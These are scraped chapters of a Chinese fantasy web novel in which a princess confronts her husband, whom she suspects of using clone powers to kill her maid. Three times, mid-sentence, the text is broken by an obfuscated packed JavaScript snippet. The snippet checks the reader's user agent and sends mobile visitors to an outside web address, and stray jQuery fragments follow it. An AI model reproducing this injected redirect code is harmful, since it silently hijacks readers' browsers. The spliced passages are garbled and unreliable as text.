“谢谢。”安德留斯整理了下衣襟,也整理了下自己的表情。 如果碧真是在这里被杀害……芙洛丝再次扫视了一遍这间屋子,她的尸体一定就在这里。 奥菲修斯说她是被雪山上的神明带走了,安德留斯说她是被雪山上的雪豹或野狼叼走了,这两种说法她都不信。 碧就在这里。 从碧的呼吸停止到她赶到这里,时间太短了,短到几乎不可能有人能完美转移尸体。就算是【身份者】动用某种能力使尸体凭空消失,也会留下使用能力的痕迹或波动,她不可能感受不到。 碧一定在这里。 吵了一架之后,芙洛丝的思绪更为清明,她觉得自己一定遗漏了什么,或者…… 被某种障眼法暂时蒙蔽了。 她忽然走向炉灶上咕嘟咕嘟响的大铁锅。 “殿下,小心烫——” 芙洛丝揭开了锅盖。 这只铁锅从刚刚就一直在散发出一种难闻的腥膻味和煮肉的气味,而且,这只锅很大,大到可以塞进一只牛犊。 袅袅的热气、腥气逸散而出,芙洛丝被这气味打了个措手不及,眼前一黑差点被熏晕。等捏住鼻子,热气慢吞吞地消散在空气冰冷的怀抱里时,她看清了锅里的内容,皱着眉头盖上锅盖。 “你们,应该加些什么香料或调料进去,”芙洛丝厌恶地说,“去腥。” 锅里只是一只囫囵完好的什么兽物,从那蹄子的形状来看,那大概是一只鹿。 厨房里的气氛并没有因这番话好转,相反,大家更震惊了。 厨娘们的眼睛睁得大大的,奥菲修斯也很震惊,以至于说话都是轻轻的气音:“殿下,你……你不会觉得我们谋杀了你的侍女,再将她投进大锅里煮吧?” “天哪……你怎么会有这样的想法?!” “我们、难道我们在你心里是这种人吗?” 被当成疯子,芙洛丝也不甚在意,她再次在房间里走了一圈,时不时屈起手敲敲墙壁,跺跺脚弹弹地板。 期间奥菲修斯的视线一直跟随着她,他双眼失神,一边嘴里小声地喃喃着什么一边摇头。 走过奥菲修斯身边,她听清了:“她真是疯了……” 走过安德留斯身边的时候,她忍不住多看了一眼,安德留斯的领子被她扯变形了,锁骨往下、靠近心脏的一块皮肤由此裸露出来。 上面有一朵雪花。 一朵巴掌那么大的、淡蓝色的六角雪花图案。 “刺青?” “家族遗传。”安德留斯体贴地扯开衣领,将那个图案全部露给芙洛丝看,“安德留斯一族的血脉象征。” 他镇定自若,比起呆若木鸡的其他人,他显然见过更多的大世面。 “我知道你并没有这么想,你只是很关心身边的人,我喜欢这一点,来吧,我会带我的人去帮你找到她。”安德留斯露出一个真诚的微笑。 “为了区区一个侍女,”厨房后门传来某个男人不和谐的嘟囔,“居然这么冒犯自己的丈夫。真亏安德留斯大人脾气好,没和她一般见识。” “……被宠坏了……没规矩……就是这样的。” 在他们眼中,芙洛丝做的一切都没有道理,她凭什么假设侍女失踪了就是他们做的?又凭什么指责刚刚跟她在一起的安德留斯大人? 甚至,还神经质地以为侍女就在这件房子里。 他们的怀疑很有道理。 芙洛丝不打算和其他人多解释什么,没有那样的义务,只是有个字眼让她格外不舒服。 ——区、区、一、个、侍、女。 一股莫名的烦躁在心底升腾,安德留斯还在好脾气地对她微笑,他眼底的情绪清澈、没有半点儿怨恨和戾气,将她衬托成了一个十足十的无理取闹的大小姐。 故意的吧。 这不是无理取闹,这是一条性命。 侍女的生命和国王的生命同样珍贵,无论在哪个天平上称量,它们都理应具有等量的重量。 她踩过安德留斯的脚,大步走了出去。 安德留斯一下没能保持住那份表面的温和,龇牙咧嘴地“嘶”了一声。 “诶哟我的殿下,你是不是没有看路……” 芙洛丝风风火火,已经走出了十多步,安德留斯只能装模作样斥责了一下厨房里的众人,拖着一瘸一拐的脚,赶忙跟上去。 “喂,殿下——” 等两人的身影都彻底消失,奥菲修斯才收回视线。 他眼底的情绪像结冰一样,寸寸凝固。 他的眼珠比平时更黑。 几乎像一个深不见底的冰窟。 “好敏锐的洞察力,虽然并不知道她为什么这么确信……出来吧,公主殿下身边的小怪物。” 他手里那只装马铃薯、西红柿的小筐,小到根本不可能让人怀疑这里藏着一个人。 厨娘接过筐,利落地拨开最上面的几个圆滚滚的马铃薯,然后抓住一个像面粉袋一样扁扁的东 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16428038|184886||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 西,整个儿提了起来。 “喔——” “难以想象,那位公主殿下身边的侍女居然是这样的怪物!她们是怎么呼吸、怎么活动的呢?” 厨娘用手提起来的,正是一具完完整整的人皮。 碧的人皮。 将这具人皮投进大锅中,厨娘用勺子搅动了几下,盖上锅盖。 奥菲修斯舔了舔牙齿,慢条斯理地道:“也许跟她的能力有关吧。” 厨房里生气的热气氤氲了他的脸庞,使他看上去高深莫测,阴森而深沉,像个大雾弥漫的墓地里游荡的幽魂。 厨娘点点头,“一定是这样,不然那位殿下怎么会这么不相信山神的传说,也不相信侍女遇害的消息。” 另外一个附和道:“难怪她活要见人,死要见尸,非要找到她的侍女不可。” 日光从窗户里和红砖的缝隙里射进来,灰尘卷着烟尘在日光里旋转、飞舞。 厨房里肉香弥漫,暖烘烘的。 一切如常。 “记得按那位殿下的意思,加点儿去腥的东西。”说完这句话,奥菲修斯便消失不见。 “听候您的吩咐,大人。”厨娘在汤勺里倒了一大勺红酒,眯着眼睛品尝了一下,“唔——” 像过电一样,她的身体诡异地扭动了一阵,五官“咔咔咔”地变形,似乎要挣脱变层皮肤的束缚,向高高的天上飞去。 她的耳朵也像吹了气一样,一下变得很大。 “嘿,别忘了我们酒量很差啊。”她身旁的同伴这么提醒道。 “真醇厚呐。”厨娘发出喟叹,额头上、下巴上跟着冒出一层短短的灰毛,她用力地甩甩头,那些突然出来的灰毛又消失了。 “哪有厨子不偷腥呀?好啦,放心好啦,我不会再喝了。” 她将红酒倒进了锅里去。 “来吧,让我们继续为今晚的宴会做准备!” “Knockknock。”忽然,芙洛丝的声音响了起来。 那个厨娘吓得直接跳了起来,毫不夸张,她就像一只踩到捕鼠夹的老鼠。 “你你你、你——” 不止是她,所有的厨娘都吓疯了,脸上瞬间失去了所有的血色。 谁都没想到,芙洛丝还在这里! 芙洛丝殿下倚着门框,双手抱胸,嘴角是气定神闲的笑容。 当然,是后门。 她身后是被打晕了、不省人事的男猎人们。 她是什么时候打晕的他们,又是什么时候来的? 如果不是尖叫只会让此刻的情形更诡异、她们的表现更可疑的话,她们早就扯开嗓子放声叫了。 事实上有些人已经在尖叫了,只是喉咙仿佛被什么东西堵住一样,徒劳地用了力气,却没成功发出任何声音。 场面一片死寂。 “啊!”忽然有个厨娘惨叫一声。 原来是她被吓得将手提起来的时候,不小心将手碰到了烧得滚热的锅底。 芙洛丝和善地提醒道:“要小心呀。” 她比刚刚和安德留斯一起出现的时候要温和得多,可厨娘们更害怕! 厨娘抱自己着被燎得通红的左手,强颜欢笑道:“谢、谢谢谢谢——谢谢殿下。” 只不过这笑比哭还要难看。 “我吓到了你们了吗?”芙洛丝那双苍蓝色的漂亮眼眸仿佛已经洞悉了一切,语气循循善诱,“我从来不知道,我有那么可怕。你们在怕什么,告诉我,好吗?” 5. 喜欢你 “没有的事……只是,”答她话的厨娘哆哆嗦嗦,“只是我们以为你跟着安德留斯大人走了,没想到你突然出现在这,吓了我们一大跳。” “厨房油烟太多,殿下,你,你还是……” 她努力了很多次,都没有办法将请芙洛丝离开的话语说出来。 芙洛丝愉悦地弯了弯眼睛,“我很快就离开。” 厨娘们悄悄地松了一口气,很快,心脏又被下一句话高高地提了上去—— “只要我弄明白我很想知道的一件事。” 沉默。 又是一阵奇长无比的、让人难以忍受的沉默。 厨娘们面面相觑,忐忑不安地等着芙洛丝的提问,每个人的额头都在冒冷汗,芙洛丝甚至听到了上下牙齿“咔咔”碰撞在一起的声音。 “我很想知道,你们是怎么上来的。” 诶? 大家惊了。 这就是公主殿下想知道的事情? 就是这样一件事? 芙洛丝注视着这一切的心理活动从众人脸上依次掠过,适时补充道:“我上山的时候检查过城堡里的所有房间了,你们应该不是雪山的原住民,对吧?从山脚上到这里,就算骑马,也至少要一天的时间,你们是怎么忽然出现在这里的?” 厨娘们以眼神交流了片刻,像是以某种方式达成协定一般,其中一个最健壮的向前半步,作为代表向芙洛丝笑着解释道: “殿下说得没错,我们并不是一直住在山上的,我们是山脚下村庄里的农妇,安德留斯大人的城堡里缺少厨娘,便雇我们做事。” “至于怎么上来的,当然是安德留斯一族留下的神迹啦,走着走着,脚下的路忽然变短了,原来看不到的城堡,也忽然出现在眼前。” “呼啦——”她举起双臂,从上到下划了一下,动作很天真活泼,声音却干得要命,“就是这样!” 呼啦。 呵。 芙洛丝忽然动了。 她抬起长腿,忽然就朝正在说话的那个农妇走了过去。 这一举动自然把人吓得不轻,所幸农妇以很强的意志力控制住了自己,没有立刻拔腿就跑。 她们刚刚都看见了,这位殿下是会动手的! 一下就把那么高大的安德留斯大人提起来,压在墙上……她们自信没有安德留斯大人那么体格出众,也打从心眼里觉得安德留斯大人没有挣脱是因为惧内或者要给新娘面子…… 如果殿下把她提起来…… 眼泪不要钱一样大颗大颗从眼睛里涌了出来,农妇真真切切觉得自己会完蛋。 “哦。”然而芙洛丝只是轻轻地拍了拍她的胸口,像帮她抚平衣料上的褶皱那样。 她温柔地道,“原来是这样啊,那我还有一个问题。” 芙洛丝将手里的耳环挂在了农妇的衣领上。 那是一只小小的红宝石耳环,样式虽然简单,但做工极好,每一个切面都折射出酒一样令人迷醉的红晕。 这是,贿赂? “可以问吗?” 农妇点头如捣蒜:“请问。” “你们真的没有见到我的侍女,那个金色头发,蓝眼睛的姑娘?” 农妇摇头如拨浪鼓,“没有。” “不过,”她顿了一下,又道,“传说在无月的夜晚,山神会驾着猎隼在山巅巡视领土,同时驱逐非法闯入圣地的不速之客。今晚恰好是无月,殿下,我觉得你的侍女一定是被山神当闯入者抓走了。” 呵呵。芙洛丝心底再度冷笑。 又是这番说辞。 “谢谢你的解答。不过,骑着猎隼在天上飞?难道就像这样?”芙洛丝没什么表情地举起手臂,从上往下利落地一划,“呼啦——” 恰在此时,安德留斯的脚步声响起——他走路有点一瘸一拐的,脚步声自然是一轻一重,与众不同。 他终于到了。 “啊……”他说,好像显得很惊讶似的,“我的殿下,你怎么又到这里来了?” 芙洛丝不置一词。 她已经得到她想要的回答了。 待芙洛丝离开后,门扉关闭。 一些含含糊糊的声音过了一会儿才断断续续、隐隐约约地从厨房里传出。 “大人,都是你要装瘸子走路,才……不关我们的事……绝对、绝对没有泄露……吱吱……” “吱吱……我们还可以帮大人做事的呀,不要……不要回到……” “吱吱吱吱吱吱吱吱吱吱吱。” 砰。 像是有个瓦罐被碰碎了,芙洛丝侧耳倾听,破碎的声音来自一楼厨房,不知道那里起了什么争执。 芙洛丝还在听,但之后就什么声音都没了。 她收回思绪,换上郑重其事的表情。 烛火跃动,在她和两个侍女的脸上都投下扭曲的阴影。 房间的门已经锁上。 “我收回之前对安德留斯的判断,他绝对不对劲,”芙洛丝竖起一根手指,“我对他的能力已经有了初步的猜想,但我不知道他是如何将碧的身体转移走的。” 安妮咬了下嘴唇,“殿下的意思是,碧已经确认遇害了吗……” 碧拉表现得比安妮冷静,“这里果然有问题。我们会打起十二分的精神来应对他。” 芙洛丝竖起第二根手指,“这就是我要说的第二件事,我不知道他怎么在一瞬之间夺走了碧的呼吸,不出意外的话,他接下来会对你们出手,他要在你们身上打探出我的能力。” 安妮和碧拉悚然一惊,最初的震撼之后,两个人的神情都变得坚毅起来。 “我们会守护殿下至生命的最后一刻。” “我们会履行指责。” 芙洛丝摇摇头,阻止了她们至死方休的决心,“不需要,现在下山,我会为你们创造下山的机会。” “这怎么行!” “殿下,你现在连安德留斯的能力是什么都不清楚,一个人面对他,太冒险了!” 芙洛丝在安妮的额头吻了一下,又吻了碧拉的脸颊,“别为我牺牲。如果你们不幸遇到安德留斯,逃,用一切力气去逃。” 她的声音似乎带有某种魔力。 安妮和碧拉眼底那种火焰一样狂热的神情渐渐熄灭,她们的脸上出现了片刻的茫然,眼睛也变得黯淡。 很快,她们的眼睛再度聚焦,像是再度被牵起丝线的木偶一般,她们异口同声回答道: “谨遵您的旨意。” 那么你呢? 芙洛丝听见自己心底的声音这么问道,想了一下,默默地自问自答: 我要去找到碧的身体。 哪怕只剩下一个残片,我也要把她找出来。 哪怕…… 夜幕降临。 今夜果然无月。 每个【身份者】都有参加这场杀人游戏的理由,有的是被迫得到【身份】的,有的是主动对其他人宣战的,更多的人是因为在被人追杀,所以不得不运用能力来自卫。 但是结果就是这样,【身份者】们一定会自相残杀。 牵连到的无辜的性命,则完全不在他们的考虑范围之内。 窗外,雪更大了。 大地白茫茫的,散发出一种淡蓝色的幽光。几棵松树沉默地负着雪。 雪山的夜景很奇特。 白昼自大地之中脱胎,漆黑的天空孕育了长夜。 昼与夜,黑与白,大地与天空,界限分明,又相互颠倒。 芙洛丝凝视着遥远的地平线,想透过这种界限,望向雪山之外更远的远方。 安德留斯。 在安德留斯一族漫长的生涯当中,他们寸步都没有跨出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16428039|184886||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这座雪山,也几乎和外界没有交流。安德留斯的【身份】本该成为秘密,在夸张的童话和传说中作为获得山神守护的一种例证,半真半假地流传下去。 而由于安德留斯能力的特性,即使是有其他【身份者】听信了传说,想来山上一探虚实,也会被他的能力所蒙蔽,以为不过是个普通人。 他本该脱离一切斗争的漩涡,就这么平稳地度过一生。 可是他向王室请求了联姻。 这是安德留斯家族第一次向其他的家族请求联姻,偏偏选中了我,偏偏我还来了。 芙洛丝忽然残忍地笑了,虽然并不是很相信命运一说,但此刻也很难控制自己不去往下想: 大概是上天派我来终结安德留斯一族的寿命吧。 安德留斯选择对侍女出手来试探,说明他并没有被雪山上的原始人生活弄得头脑退化,思维迟钝。他知道谁好惹,谁不好惹。 换言之,他有所忌惮。 芙洛丝很快想好了接下来该怎么办。 ——降低影响,尽可能不让别人发现雪山上的异动。 对付安德留斯一个【身份者】没什么可怕的,但是要把本来就在追杀她的其他【身份者】都引来,那就糟糕了。 不过,安德留斯也该来了吧…… 很快,如她所想,敲门声叩响。 有长进,这次不是从窗户里进来了。 安德留斯的声音在门后响起:“芙洛丝殿下,要和我一起去找你的侍女吗?” 芙洛丝对两个侍女做了个“嘘”的噤声的动作,打开房门。 门外,安德留斯仍旧穿得单薄,只不过披上了件纯黑的很有分量的大衣,胸口裸露的皮肤,也被一条绒线围巾所遮住。 在昏暗的光线中,他脸庞的棱角更为分明,因为柔和的阴影更为深沉地勾勒出他高耸的眉骨、深邃的眼窝,以及挺拔的鼻梁之下那个倏忽凹进去的、很秀气小巧的人中。他的嘴唇显示出一种暧昧的氛围。 他在戴手套,那双大眼睛没有看自己,而是在看手腕,他正在很认真地将衬衫的袖子卷到手套里去。睫毛垂下一层毛茸茸的阴影。 装得像真的要去帮她找侍女一样。 演技真不错。 “我知道殿下很担心那位走丢的侍女,殿下虽然看上去不苟言笑,实际上却是个很温暖的人。”安德留斯的声音比他脸上的表情还要真诚,那种语调让芙洛丝忍不住起了一手臂的鸡皮疙瘩。 安德留斯忽然发自内心地说:“我好像更喜欢你了。” 那双纯净得没有一丝阴霾眼睛也终于望了过来,可能因为光线的原因,他的双眼含情脉脉,更明亮、也更热烈了——仿佛在等着人来吻一样。 天生的演员。芙洛丝想道。继续装呢。 “晚上男人们会在城堡周围巡逻,我已经为你和你的侍女准备好了房间,你的那两位侍女,先住到房间里去吧,放心,她们一定会平平安安的,对了,还不知道怎么称呼她们……” “碧拉,安妮。这回你见到她们了。”芙洛丝讽刺道。 看着他整理衣袖的动作,芙洛丝忽然说:“我帮你吧。” 她伸出手。 然而。 安德留斯躲开了。 上一秒还在大言不惭地示爱,下一秒就果断而迅速地躲开了。这并不是抗拒他人的身体接触而做出的应激反应,而是意识到危险来领,本能摆出的格挡姿势。 是的,格挡。 将手臂架在胸前,身体微微后倾,完美地护住了自己的咽喉以及心脏。 “这种小事。” 他一点儿也没有为自己言不由衷的行迹感到尴尬,相反,镇定自若地笑着,语调还带了点挑逗的意味: “怎么敢麻烦您呢?” “哦。”芙洛丝也笑了,冷笑,“不装瘸子了?” 6. 出发吧 这句话一问出来,安德留斯的表情立刻变了,某种原来被隐藏得很好的东西往上浮,就像某种按不住的恶毒的雾气,丝丝缕缕地、让他幻化得狰狞而危险。 不够气定神闲啊。 芙洛丝故意前倾身子,向走廊的两端打量了一下,确认没人之后,侧过头小声说道:“要是你不装瘸子的话,早就赶上我了,我也就不可能打听到那么重要的线索了。所以,是你给了我发现秘密的机会哦。” 一直戴在安德留斯脸上的那副“面具”开始龟裂,芙洛丝觉得自己听到了某种瓷器碎裂的声音。 但安德留斯仍竭力保持无辜的微笑,将那副面具戴住了,“我不明白您的意思。” 芙洛丝便凑得更近了一些,这次,安德留斯没有躲。 芙洛丝猛地抓住他的围巾,往下扯,强迫他低下头来。她一下想起小时候在花园里摘石榴的情形,当时她站在梯子上,也是这么抓住石榴树的枝条,一点点、一点点地对抗枝条的韧劲,一点点、一点点地往下按。 只不过,现在她想得到的果实,变成了安德留斯甜美的项上头颅。 她在耳边低语: “你的能力,是分身,对吧——” 安德留斯的身体突然后仰,并且一下攥住了她的手腕—— 芙洛丝迅速抓住栏杆,想往反方向后撤,两个人的力量本来悬殊,但她措手不及,又低估了安德留斯身体的重量带来的影响,她被安德留斯带了下去,两个人翻过栏杆,随后天旋地转。 这该死的……就差一秒,她的能力就可以发动了。 砰、砰—— 芙洛丝撞到了三层吊灯上,脊背传来的剧痛让她简直想骂娘。 在急剧的下落中,她看见自己疯狂飞舞的黑发,以及安德留斯模糊的面目。 手臂突然传来一股力量,那是安德留斯想要与她对换位置,将她作为落地的缓冲垫。 混蛋!芙洛丝咬着牙将他的手按了下去,想将位置调换回来,两个人在半空中相互对抗,最终的结果—— 一声惊天动地的巨响。 两个人同时掉在了地上,芙洛丝在左边,安德留斯在右边,一地水晶碎屑。 “混蛋、混蛋……”芙洛丝按着后脑勺,艰难地从地上爬起来,安德留斯还躺在地上,发出痛苦的呻吟。 “抱歉,殿下,你刚刚说什么?”安德留斯看着她生龙活虎站到自己的面前,勉强露出一个虚弱的笑容,“脚滑了。你没事吧?” 还在装什么啊! “我说你的能力是分身!”芙洛丝恶狠狠掐着他的下巴,迫使他脆弱的脖颈仰天向上,直面自己。 两个人身上有不同程度的擦伤,芙洛丝的大拇指破了皮,安德留斯的额头不知道哪里在流血,鲜血流下来,与芙洛丝的血丝融在一起,就像溪流汇入湖泊,又随着芙洛丝的动作改变流向,倒流进漆黑的发丝间。 血在两个人的皮肤上开了一朵模糊的蔷薇。 漂亮的肌肉纹理。 安德留斯垂着眼睛,看向一侧。 “你身上的那个雪花印记,厨娘们身上也有,不过颜色比你的浅很多。她们根本不是从山脚的村庄里来的,她们是你幻化而出来的分身!”芙洛丝低吼。 安德留斯的睫毛猛烈地颤动了一下,随之瞳孔骤缩。 哦。 原来她那个时候递耳环并不是在贿赂厨娘,而是为了看她们胸口前的纹身……因为她的气场太强大了,那些弱小的女人被吓坏了,甚至没有注意到这一点,也就…… 没有将这个重要的信息告诉他。 安德留斯仍是垂着眼睛,但眼底已经在酝酿一场隐秘的风暴。 芙洛丝咬牙切齿继续道:“你用分身杀掉了碧,所以你有不在场证明。也因为你的能力是分身,所以你的力量被分散了出去,我感知不到你是【身份者】的气息。现在,还要装吗?” 话都说到这个份上了,安德留斯应该承认了,他刚刚被说破能力时那一瞬间的错愕,也明显不是作伪,但芙洛丝没想到—— “啊?” 安德留斯睁开眼睛,还留着那个震惊的表情,并且将它当做面具一样摆来弄去,确认吻合后,又戴在了脸上。 他显得很受伤,“我的殿下,什么能力,什么分身,我完全不明白,你在说什么呢?” 只觉得一股邪火平地窜起,芙洛丝捏着拳头叫了起来:“你还装?!” 她明明都看清楚了,安德留斯调整表情时那种微妙又做作的神态! 整整一秒钟后,安德留斯才害怕地缩了一下肩膀。 “公主殿下,你发疯了。” 芙洛丝大怒,真恨不得一拳抡下去打扁这双惺惺作态又多情的眼睛,但安德留斯还在装。 “你要打我吗?” 说着,还恬不知耻地吸了下鼻子。 “我很脆弱。”不愧是精湛的演员,他的表情又变了,变成了极适合此刻的慈悲而包容的苦笑。 芙洛丝此刻的愤怒简直不能用语言来形容了!这个人居然在装普通人,他明明就是邪恶又视人命为草芥的【身份者】,居然装起了普通人?! 居然、他妈的、装起了、普通人?!! 他觉得自己不会打普通人吗? 芙洛丝差点气晕,这时,城堡里的其他人也听到了大厅发出来的动静,从不同的房间、不同的门后面探出脑袋张望。 他们都听到了两人刚刚的对话,因此……都把芙洛丝当成神经病来看。 “天哪,家暴!她又来了。” “我早说过她有精神上的疾病,你们看,总是歇斯底里……” “王室的疯女人……缺乏管教……” “脱掉衣服,”指着其中一个年轻人,芙洛丝气得尾音都是飘着的,“给我看你的胸口。【身份者】的能力都有缺陷,你,安德留斯的缺陷便是每一个分身都留有本体的雪花印记,这是你无论怎么变化面貌都改变不了的。” 就如她的能力虽然强悍,但也有发动条件的限制一样。 那个年轻人吓得护住了胸脯。 “亲爱的殿下,”安德留斯像看一个胡闹的孩子那样看着她,“这是安德留斯一族的血脉象征,也是身份的象征,安德留斯一族的旁支、安德留斯一族的附庸,都可能会有这个印 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16428040|184886||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 记,只不过颜色不一样,你怎么会这么异想天开,觉得他们是我的分身?” 为了让她听清楚,安德留斯甚至特意放缓了语调,将每一个音节都发得清晰且饱满。 “这些知识,你的启蒙老师没有教你吗?” 安德留斯很有风度地追上来,再补一刀:“真不知道你童年过的是什么样的日子,接受的是什么教育,如果知道是这样,我就会更早把你接上来了。芙洛丝,你的过去是怎么样的,可以让我知道吗?” 其他人也道: “又是为她失踪的侍女吗?她真是疯了,这么苦寒的环境,也许她的侍女悄悄跑下山也不一定啊。” “就是啊!安德留斯大人也说了,城堡附近一直有野兽活动的。” “她活在自己的世界里,现在连什么分身都幻想出来了。” “依照安德留斯大人的吩咐,我们一直对她尊敬有加,可她根本配不上这份尊敬。” “无理取闹……” 芙洛丝更怒,那句“知道个屁”突地冲到了嘴边,但终是没有说出口。 愤怒的潮水渐渐褪去,芙洛丝冷静下来。 她瞪视着这张可恶的脸,深吸一口气,缓缓地、缓缓地眨了下眼睛。 安德留斯挑了挑眉。 “你说得对,”芙洛丝的语气忽然来了个一百八十度大转弯,“是我太孤陋寡闻了。听了你们一族的传说之后,我深受感动,也许世界上真有超出我想象的超自然的力量,也有山神。” 安德留斯听着,同时留心观察着芙洛丝的表情。 “也许,碧真的在某个角落被山神抓走了,也许她迷路了,”芙洛丝点点头,“你刚刚说什么来着?要帮我去找侍女?” 没给安德留斯回话的机会,她将人从地板上粗暴地捞了起来,“来吧,现在我们去吧。” 她那种说话的样子,像是要从安德留斯脸上啃下一块硬币那么大小的肉,安德留斯看着她,睫毛连着颤了好几下。 “怎么,反悔了呀?”芙洛丝粲然一笑,露出洁白湿润的牙齿。 这个可爱的笑容。 这种拿腔作调的语气。 ……安德留斯猛然意识到,她在模仿自己一贯的表情。 芙洛丝拍拍他的脸,“备马。”然后从他身上站了起来。 “大人,这……” 安德留斯回过神来。 “备马。”他说,“我这就和公主殿下去找她失踪的侍女。” 过了会儿,下人们牵来了马,并特意牵来了一匹格外漂亮的黑色的小马驹,交给芙洛丝。 那匹马还没驯服,脾气大得要命。芙洛丝一个翻身,利落地骑了上去,手里攥着缰绳,稳稳地在原地转了个圈儿。 不错的骑术。那匹小马驹还想嘶气,被芙洛丝一巴掌拍回了现实。 “带路吧,安德留斯大人。” 安德留斯收回视线。 该去哪里找呢? 虽然没有说明,这大概是现场所有人都在思索的问题,只不过每个人所怀的心情不同罢了。 “那就我来带路好了。”芙洛丝忽然这么说道。 7. 幻境中 芙洛丝来带路?她明明不清楚雪山上的环境啊。 她知道该去哪里找吗? 众人惊诧之际,芙洛丝的马儿已经迈着矫健的步伐从安德留斯经过,安德留斯的马儿也跟着出发,不过是被迫的—— 芙洛丝拽住了安德留斯的缰绳。 没有月亮,只有雪地反射的光芒,黯淡地亮着,安德留斯的马儿极不情愿、跌跌撞撞地随着芙洛丝的节奏往前走,差点栽到一边的空地上。 芙洛丝轻叱一声,双腿一夹马肚,竟然开始加速。 众人惊呼:“安德留斯大人!” “这是你杀死我的唯一机会。”就在这时,芙洛丝的低语传入他耳中。 这个女人…… 安德留斯舔舔嘴唇,在马背上稳住身形,很快下达命令:“我没事,你们带人去那边找就行。” 安德留斯的命令高于一切,众人虽然担忧,但思索再三,也只能不甘心地跟在后面。 安德留斯只有再下令:“不用跟着我!” 这一声惊动群鸦,众人身后、城堡前方的小树林里一下呼啦啦飞起无数只夜鸦。 它们在漆黑的夜幕下高飞、盘旋,嘶鸣了良久,仍然没有散去。 马蹄声达达。 芙洛丝向着树林更深处进发,直到将所有人远远地甩在身后,才放缓了速度。 她并不是要找人,而是在找一个没人的地方,这一点两个人都心知肚明。 雪山上的众树木在夜色中辨不清面目,连是荣是枯都分辨不出,只能看清一成不变的雪白的高冠与铠甲,就像一个个披坚执锐、不容侵犯的卫兵。两人穿过它们之后,都淋了一身冷硬的落雪。 整个世界只剩下他们和这雪,还有这树。 “安德留斯家族的历史,其实我有所耳闻,”芙洛丝在这时开口,“最初的时候,他们并不是完全避世,也会和山下的居民们交流、和过路的游商做交易。作为王室的守护者,他们和王室的往来很密切,每年都有书信往来。” “但是大概从五百年前起,他们忽然搬到了山巅,足足有一整年,没有人知道他们在做什么,不过他们本来就过着不引人注目的生活,这也算不得上是什么大事。只是——” 芙洛丝勒停缰绳。 安德留斯也随之停下步伐。 “安德留斯一族的谱系,从那之后起就不对外公开了,安德留斯,那个时候,你就觉醒了,对吧?” 只要确定了对方是【身份者】,猜出【身份】还是很容易的。 “安德留斯,【山神】,【山的守护者】,或者其他什么称号,你觉醒了,并且杀害了所有的族人。曾经有人对我说过,【身份者】的觉醒总是伴随着流血的代价,就像蝴蝶破茧而出后,总要从自然中获取能量、补充体力一样,你攫取了族人们的生命。” 芙洛丝的声音越发阴沉。 “现在山上有多少是普通人,有多少是你的分身,我已经懒得去分了。你确实弄明白了我的一个弱点,那就是我不想将普通人牵扯其中。” “漫长的寿命、以假乱真的分身,这些都是你的能力,而安德留斯便是你的本体,杀了你后,我会再去确认其他人的身份,如果你还有隐藏的什么能力,”芙洛丝转过头来,眼底一片冰凉,“用出来吧。” “你现在的样子,太弱了。一下使出全力的话,说不定能打我个出其不意呢。” 安德留斯目光幽暗一瞬,仍是摇头,“亲爱的殿下,你说了这么多,我真的一句听不明白。” 芙洛丝翻身下马,“装傻我也会对你动手。” 安德留斯叹了口气,“你是不是很不喜欢我呀?” 住嘴,蠢货。 别用这种责难的语气和我说话。 “十。”芙洛丝双手抱胸,手指轻敲臂膀,以一种匀速稳定的节奏,然而语气已很不耐烦,“我给你十秒说遗言。” “你不满意雪山的环境,所以和侍女联手做了这么个局,然后便可拒绝这桩婚事回归王都,对不对呀?”安德留斯以无限惋惜之情说道。 “九。八。七。……” “还说什么五百年前,可是我五百年前根本没出生,我祖先的事,我怎么会知道呢?唉。” 夜风吹动安德留斯的围巾和纯黑的发丝,骑在大马上的他就像个在宣读求婚誓词的王子。 “可惜,我刚开始喜欢你。” “六。五。……” “我虽然从来没有下过山,却也知道山下的事情。据某些学者的观点,人的性格是从小形成的,你这样娇纵傲慢、不顾他人死活,想必跟你养尊处优的公主生活脱不了关系。看来,我们是没有可能了。不过——” “四。三。二。……”芙洛丝无情地倒数着。她的耐心全用光了。 在“一”即将数出的瞬间,安德留斯忽然唇角微勾,道: “殿下,你知道吗?” 不……对劲。 芙洛丝下意识感觉不妙,他在笑什么? 嗡—— 安德留斯的嘴唇还在动,但是却交叠出一片片的重影,他的声音也迅速地远去,仿佛两人一瞬之间隔了整座雪山。 “我非常厌恶欢这样残酷的事实,我们相见竟然不是为了相爱,而是为了——”安德留斯唇角的笑容愈发扩大。 芙洛丝什么都听不见了,眼前也一团模糊。 不好。这就是—— 安德留斯的能力—— “相、互、残、杀。” 在身体失去控制之前,芙洛丝对着安德留斯扑了过去,只要能碰到他,她有自信在零点零零一秒之内杀了他…… 然而安德留斯所在的地方变成了一片虚无。 